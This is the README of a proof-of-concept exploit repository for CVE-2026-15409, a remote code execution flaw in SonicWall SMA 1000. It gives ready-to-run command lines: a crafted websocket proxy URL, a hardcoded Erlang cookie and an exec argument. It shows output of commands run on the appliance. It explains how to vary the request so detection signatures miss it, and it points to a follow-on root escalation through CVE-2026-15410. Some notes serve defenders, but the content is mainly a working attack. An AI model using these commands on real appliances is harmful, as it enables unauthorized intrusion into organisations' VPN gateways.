CVE-2026-15409

This repo contains a proof-of-concept exploit for CVE-2026-15409. It establishes non-root remote code execution on SonicWall SMA 1000 by implementing the Erlang protocol expected by localhost:1050 and tunneling it through the websocket for file r/w and arbitrary code execution via RPC calls.

Usage

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --exec 'whoami && id && pwd && hostname'
Authenticated to [email protected]
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

Notes on exploitation and detection

• This exploit targets the WorkPlace service (usually listening on port 443), likely to be enabled almost all of the time (requires setting up a user auth method like basic AD)
• Developed against ex_sra_vm_12.5.0-02002.ova with the June 2026 hotfix applied (latest prior to patch)
• Example: python3 cve-2026-15409.py --ws-url 'wss://TARGET_IP_HERE/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'touch /var/tmp/remote_code_execution'
• Erlang node cookie used for exploitation should be consistent across targets, it's hardcoded for the Erlang process on localhost:1050, based on testing.
• Arbitrary bmID values should generally work as long as the value begins with "-3389". Don't write signatures against "serviceType=SSH", since there are alts like TELNET that work too. 0.0.0.0 can be swapped out for alt addr formats as well.
• Port 1050 is an exploitation technique, not a hardcoded req for exploitation. EITW was observed targeting port 8188 as well, though it seems easier to just use 1050. There may be other services on different ports that can be exploited too. Code execution in the wild will likely be in other user contexts that aren't couchdb, due to variation in techniques used.
• Attacker can privesc to root with "remove hotfix" xmlrpc traversal exploit CVE-2026-15410 (targeting localhost:8188) once a shell is established